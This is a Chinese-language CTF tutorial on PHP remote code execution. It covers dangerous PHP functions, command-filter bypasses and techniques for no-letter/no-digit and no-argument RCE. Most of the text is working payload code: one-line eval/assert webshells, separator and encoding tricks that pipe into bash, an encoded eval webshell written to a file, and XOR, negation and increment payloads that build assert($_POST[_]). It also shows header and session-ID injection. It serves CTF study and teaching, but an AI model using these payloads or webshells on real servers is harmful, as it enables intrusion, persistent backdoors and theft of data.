CTF知识树-RE phpRCE利用入门

CTF中常见的phpRCE类型题目技巧

视频

made by Mitunlny(M.Y)

参考文章:

RCE漏洞概述


什么是RCE——基本概念

远程代码/命令执行漏洞(Remote Code/Command Execute,简称RCE)是Web安全领域中危害性极高的漏洞类型,主要分为两类:

  1. 代码执行漏洞:针对后端编程语言(如PHP、Java、Python等)的漏洞
  2. 命令执行漏洞:针对操作系统层面的漏洞

本篇仅涉及PHP的代码执行漏洞

RCE漏洞成因

当开发人员为了实现功能灵活性,在代码中调用动态执行函数时,若未对用户输入进行严格过滤,攻击者就可以构造恶意输入执行任意代码或系统命令。这种漏洞通常出现在以下场景:

  • 使用字符串转代码函数(如eval())
  • 调用系统命令函数(如system())
  • 动态包含文件功能
  • 模板引擎解析

相关函数


命令执行

system()

1
2
3
4
5


<?php
	system("whoami");
?>

exec()

1
2
3
<?php
	echo exec("whoami");
?>

popen()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>

<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  
  
while (!feof($fp)) {    
 $out = fgets($fp, 4096);  
 echo  $out;       
}  
pclose($fp);  
?> 

proc_open()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)

<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   
 array("pipe","w"),   
 array("pipe","w")  
 );  
  
$fp = proc_open($test,$array,$pipes);   
echo stream_get_contents($pipes[1]);  
proc_close($fp);  
?> 

passthru()

1
2
3
4

<?php
	passthru("whoami");
?>

shell_exec()

1
2
3
4

<?php
	echo shell_exec("whoami");
?>

反引号 `

1
2
3
4

<?php
	echo `whoami`;
?>

pcntl_exec()

1
2
3
4
5
6
7
8





<?php 
	pcntl_exec ( "/bin/bash" , array("whoami"));
?>

代码注入

eval()

1
2
3
4



<?php @eval($_POST['cmd']);?>

assert()

1
2
3
4



<?php @assert($_POST['cmd'])?>

preg_replace()

1
2
3
4



preg_replace("/test/e",$_POST["cmd"],"jutst test");

create_function()

1
2
3
4



$func =create_function('',$_POST['cmd']);$func();

array_map()

1
2
3
4
5
6
7
8



$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

call_user_func()

1
2
3
4



call_user_func("assert",$_POST['cmd']);

call_user_func_array()

1
2
3
4
5
6



$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

array_filter()

1
2
3
4
5
6
7



$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

uasort()

1
2
3
4
5




usort($_GET,'asse'.'rt');

例题


绕过方式


空格

1
2

$IFS$9 ${IFS} %09(php环境下) 重定向符<><

命令分隔符

1
2
3
4
5
6
7
%0a  
%0d  
;  
&  
&&   
|  
||   

关键字

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

拼接绕过

1
2
3
4
5
6

a=l;b=s;$a$b

a=c;b=at;c=f;d=lag;$a$b ${c}${d}

a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag

echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag


${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过

1
2
c'a't test
c"a"t test

反斜杠绕过

1
ca\t test

通过$PATH绕过

1
2
3
4
5
6



echo $PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test

通配符绕过

  1. \[…\]表示匹配方括号之中的任意一个字符
  2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
  3. {…}与\[…\]有一个重要的区别,当匹配的文件不存在,\[…\]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
1
2
3
4
cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st

例题

无字母数字RCE


技术原理与背景

无字母数字RCE是指在不使用任何字母(a-z,A-Z)和数字(0-9)的情况下实现代码执行的技巧。这种技术在以下场景特别有用:

  • 过滤了所有字母和数字的CTF题目
  • 严格的WAF规则过滤了常规payload
  • 需要绕过字符限制的实战环境

例如:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

思路:

利用各种非数字字母的字符,经过各种变换(异或,取反,自增),构造出单个的字母字符,然后把单个字符拼接成函数名,进行动态执行。

核心实现方法

异或

php7有一种特性叫做函数的动态调用,即在字符串上加一个括号就可以调用和字符串同名的函数

例如:

1
("phpinfo")();

而其中的字符串可以是任意形式,例如拼接:("php"."info") 或者运算的结果

异或运算,本质是得到这样的字符串然后括起来,进行命令操作

这里的异或,指的是php按位异或,在php 中,两个字符异或后,得到的依然是一个字符!

例如:将字符“A”和“?”进行异或:

1
2
<?php
    echo "A" ^ "?";

得到:~

它是如何计算的呢,过程如下:

首先将 A 和 ? 分别转换为对应的ASCII码,A变为65,?变为63

然后将其转换为对应的二进制数,A变为1000001,?变为111111 接下来就进行运算,异或的运算规则是相同为0,不同为1

1
2
3
A:        1000001
?:        0111111(少一位,前面补0) 
结果:      1111110

接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~ 因此,我们利用这种思路,就可以借助异或构造payload。

取反

取反其实是利用了不可见字符,我们对一个字符进行两次取反,得到的还是其本身。当我们进行一次取反过后,对其进行URL编码,再对其进行取反,此时可以得到可见的字符,它的本质其实还是这个字符本身,然后因为取反用的多是不可见字符,所以这里就达到了一种绕过的目的

取反运算符(~)的作用

在PHP中,~是按位取反运算符,它对一个数的每一位二进制位进行取反操作(0变1,1变0)9。例如:

1
2
echo ~3; 
echo ~'a'; 

取反绕过的核心是:

  1. 将想要执行的PHP代码进行取反操作
  2. 将取反后的结果进行URL编码
  3. 通过eval等函数执行取反后的代码

因为取反后的字符大多是不可见字符,可以绕过基于正则表达式的字符过滤。

具体实现步骤

基本payload构造:

假设我们要执行 phpinfo();,可以按照以下步骤构造payload:

  1. 对”phpinfo”进行取反:
1
echo ~'phpinfo'; 
  1. 对取反结果进行URL编码:
1
echo urlencode(~'phpinfo'); 
  1. 最终payload格式:
1
?code=(~%8F%97%8F%96%91%99%90)();

注意括号的使用:取反部分要用括号括起来,最后的分号不能少5。

以CTF题目为例,当遇到如下过滤条件时:

1
2
3
4
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("NO.");
}
@eval($code);

我们可以使用取反绕过:

1
2
?code=(~%8F%97%8F%96%91%99%90)();  
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

可以使用以下PHP代码生成取反payload:

1
2
3
4
5
6
<?php
$func = "phpinfo";
echo "原始函数: ".$func."\n";
echo "取反结果: ".~$func."\n";
echo "URL编码: ".urlencode(~$func)."\n";
?>

自增

什么是自增绕过?

自增绕过是一种在PHP代码中,当字母和数字被严格过滤时,通过利用PHP的类型转换和自增运算符(++)特性来构造所需字符的技术。它允许攻击者在无法直接输入字母数字的情况下,逐步”构建”出执行命令所需的字符7。

基本行为:

在PHP中,自增运算符有两种形式:

  • 前置自增(++$a):先增加变量的值,然后返回新值
  • 后置自增($a++):先返回变量的当前值,然后增加变量的值

例如:

1
2
3
$a = 'A';
echo ++$a; 
echo $a++; 

为什么自增可以用于RCE绕过?

当Web应用过滤了所有字母和数字时,传统的RCE方法(如直接输入 system('ls'))无法使用。但PHP中:

  • 空数组 []可以转换为字符串’Array’
  • 字符串可以通过自增逐步构建出需要的字符
  • 利用这些特性可以构造出函数名和参数7

核心原理:

  1. 从空数组开始构建字符串
1
2
3
$_ = [];      
$_ = @$_[''];   
$_ = $_['!'=='@']; 
  1. 利用自增构建字符

PHP中字符串的自增遵循字母表顺序:

1
2
3
4
$_ = 'A';
echo ++$_; 
$_ = 'Z';
echo ++$_; 
  1. 构建完整函数调用

通过逐步自增,可以从空字符串开始构建出如 assertsystem等关键函数名,以及执行命令所需的参数7。

Payload解析

下面是一个典型的自增绕过Payload,用于执行 assert($_POST[_])

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$_=[];
$_=@"$_";       
$_=$_['!'=='@'];   
$___=$_;         
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;       
$___.=$__;       
$__=$_;          
$__++;$__++;$__++;$__++;

$___.=$__;       
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;       
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;       
$____='_';       
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$__=$_;          
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;      
$_=$$____;       
$___($_[_]);     

使用时配合POST参数:_=phpinfo();即可执行任意PHP代码7。

优缺点:

优点:

  • 完全不依赖字母和数字字符
  • 在严格过滤环境下仍能工作
  • 可以构建任意函数名和参数

缺点:

  • Payload通常较长且复杂
  • 需要PHP环境支持字符串自增行为
  • 对PHP版本有一定要求(某些版本行为可能不同)

无参数RCE


无参RCE是一种特殊的代码执行漏洞,攻击者可以在不直接传递参数的情况下,通过构造特定的函数调用链来实现远程代码执行。以下是关于PHP无参RCE的详细介绍:

成因

PHP无参RCE的成因主要与以下几个方面有关:

  1. 代码逻辑缺陷:某些PHP代码可能会对用户输入进行不安全的处理,例如使用 eval()函数直接执行用户输入的代码,而没有对输入进行严格的过滤
  2. 正则表达式绕过:某些情况下,开发者可能会使用正则表达式来过滤用户输入,但攻击者可以通过构造特定的函数调用链来绕过这些过滤
  3. PHP函数特性:PHP中存在一些无参数的函数或可以通过特定方式构造参数的函数,这些函数可以被攻击者利用

利用方式

利用PHP无参RCE的关键在于构造无参数的函数调用链,以实现代码执行。以下是一些常见的利用方式:

  1. 利用无参数函数

    • scandir():获取当前目录下的文件列表
    • localeconv():返回包含本地数字及货币格式信息的数组,可以用于构造特定的字符
    • current()pos():获取数组的第一个值
    • array_rand()array_reverse():操作数组以获取特定值
  2. 构造文件路径

    • 通过 getcwd()dirname()等函数构造文件路径,结合 scandir()获取目标文件
  3. 读取文件内容

    • 利用 highlight_file()show_source()readfile()等函数读取文件内容
  4. 命令执行

    • 使用 eval()assert()等函数执行代码

示例

以下是一个典型的无参RCE场景:

1
2
3
4
5
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])){
    eval($_GET['exp']);
}
?>

攻击者可以通过构造类似以下的 exp参数来绕过过滤并执行代码:

1
exp=print_r(scandir(current(localeconv())));

通过 current(localeconv())构造小数点,进而调用 scandir()获取当前目录下的文件列表

PHP相关函数

附:PHP官方文档的函数介绍:https://www.php.net/manual/zh/indexes.functions.php

HTTP相关函数

  • 功能:获取所有HTTP请求头,返回关联数组
  • 利用:从请求头中获取可控数据
1
2

end(getallheaders()); 

get_defined_vars()

  • 功能:返回所有已定义变量的多维数组
  • 利用:获取GET/GET/_POST等超全局变量
1
current(current(get_defined_vars())); 

会话控制函数

session_id()

  • 功能:获取/设置当前会话ID
  • 利用:通过设置恶意session ID执行代码
1
2
session_id('evilcode'); 
session_start();

session_start()

  • 功能:启动新会话或重用现有会话
  • 利用:配合session_id()使用

本地化函数

localeconv()

  • 功能:返回本地化数字格式信息
  • 关键利用:返回的数组第一个元素是小数点(.)
1
current(localeconv()); 

文件系统函数

scandir()

  • 功能:列出目录中的文件和目录
  • 利用:目录遍历核心函数
1
scandir('.'); 

chdir()

  • 功能:改变当前目录
  • 利用:配合scandir()跳转目录
1
chdir('..'); 

getcwd() / grtpwd()

  • 功能:获取当前工作目录
  • 利用:获取路径信息
1
getcwd(); 

dirname()

  • 功能:返回路径中的目录部分
  • 利用:目录跳转
1
dirname('/var/www'); 

数组操作函数

current() / pos()

  • 功能:返回数组当前元素
  • 利用:获取数组第一个元素
1
current(scandir('.')); 

array_reverse()

  • 功能:返回逆序数组
  • 利用:改变数组顺序
1
end(array_reverse(scandir('.'))); 

array_flip()

  • 功能:交换键值
  • 利用:改变数组结构
1
array_flip(['a'=>1,'b'=>2]); 

array_rand()

  • 功能:随机返回数组键名
  • 利用:随机选择文件
1
scandir('.')[array_rand(scandir('.'))];

next() / prev() / end()

  • 功能:移动数组指针
  • 利用:遍历数组
1
2
end(scandir('.')); 
next(scandir('.')); 

输出函数

  • 功能:打印易读的变量信息
  • 利用:输出数组内容
1
print_r(scandir('.'));

show_source() / highlight_file()

  • 功能:语法高亮显示文件源码
  • 利用:读取文件
1
show_source(end(scandir('.')));

readfile() / file_get_contents()

  • 功能:读取文件内容
  • 利用:读取flag
1
readfile('flag.txt');

编码转换函数

chr() / ord()

  • 功能:ASCII码与字符互转
  • 利用:构造特定字符
1
2
chr(65); 
ord('A'); 

hex2bin()

  • 功能:十六进制转二进制
  • 利用:构造字符串
1
hex2bin('414243'); 

urldecode()

  • 功能:URL解码
  • 利用:解码特殊字符
1
urldecode('%41'); 

数学函数

phpversion()

  • 功能:获取PHP版本
  • 利用:判断环境
1
floor(phpversion()); 

rand() / time()

  • 功能:随机数/时间戳
  • 利用:生成临时数据
1
2
rand(1,100);
time();

localtime()

  • 功能:返回本地时间数组
  • 利用:获取数字
1
localtime()[0]; 

经典利用组合

读取当前目录文件

1
show_source(end(scandir(getcwd())));

利用HTTP头执行代码

1
eval(end(getallheaders()));

构造命令执行

1
system(chr(ord('A')+17).chr(ord('Q')-1)); 

目录遍历技巧

1
print_r(scandir(chr(ord('a')-32))); 

Session ID利用

1
2
session_id('<?php system("ls");?>');
session_start();
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计